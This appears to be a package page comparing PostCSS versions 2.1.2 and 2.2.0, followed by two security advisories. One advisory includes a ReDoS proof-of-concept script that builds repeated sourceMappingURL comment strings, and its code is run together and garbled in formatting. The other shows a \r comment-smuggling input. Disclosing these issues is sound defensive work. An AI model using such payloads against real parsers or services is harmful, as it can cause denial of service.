PostCSS version 2.2.0 represents a subtle yet meaningful upgrade over its predecessor, 2.1.2, in the evolving landscape of CSS post-processing. Both versions offer a framework for developers to manipulate CSS with robust source map support, facilitating easier debugging and maintenance. Crucially, the core dependencies for both versions remained consistent, leveraging js-base64 and source-map for their reliable functionality.
The changes primarily reside within the development dependencies, reflecting improvements in the tooling used to build and test PostCSS itself. One notable alteration is the upgrade of gulp-mocha from version 0.5.2 to 1.0.0, suggesting potential enhancements in testing capabilities and stability. Similarly, fs-extra saw an update from 0.10.0 to 0.11.0, which could indicate improved file system operations during development. The update of gulp-es6-transpiler is most likely related to some enhancements in ES6 conversion. These upgrades, while seemingly internal, contribute to a more streamlined and efficient development workflow for the PostCSS maintainers, potentially leading to faster iteration and bug fixes. Developers integrating PostCSS into their projects benefit from a more stable and well-tested core, even if the direct API remains largely unchanged between these specific versions. Furthermore, the change of repository URL from https://github.com/ai/postcss.git to https://github.com/postcss/postcss.gitreflects an organization of the project.
All the vulnerabilities related to the version 2.2.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.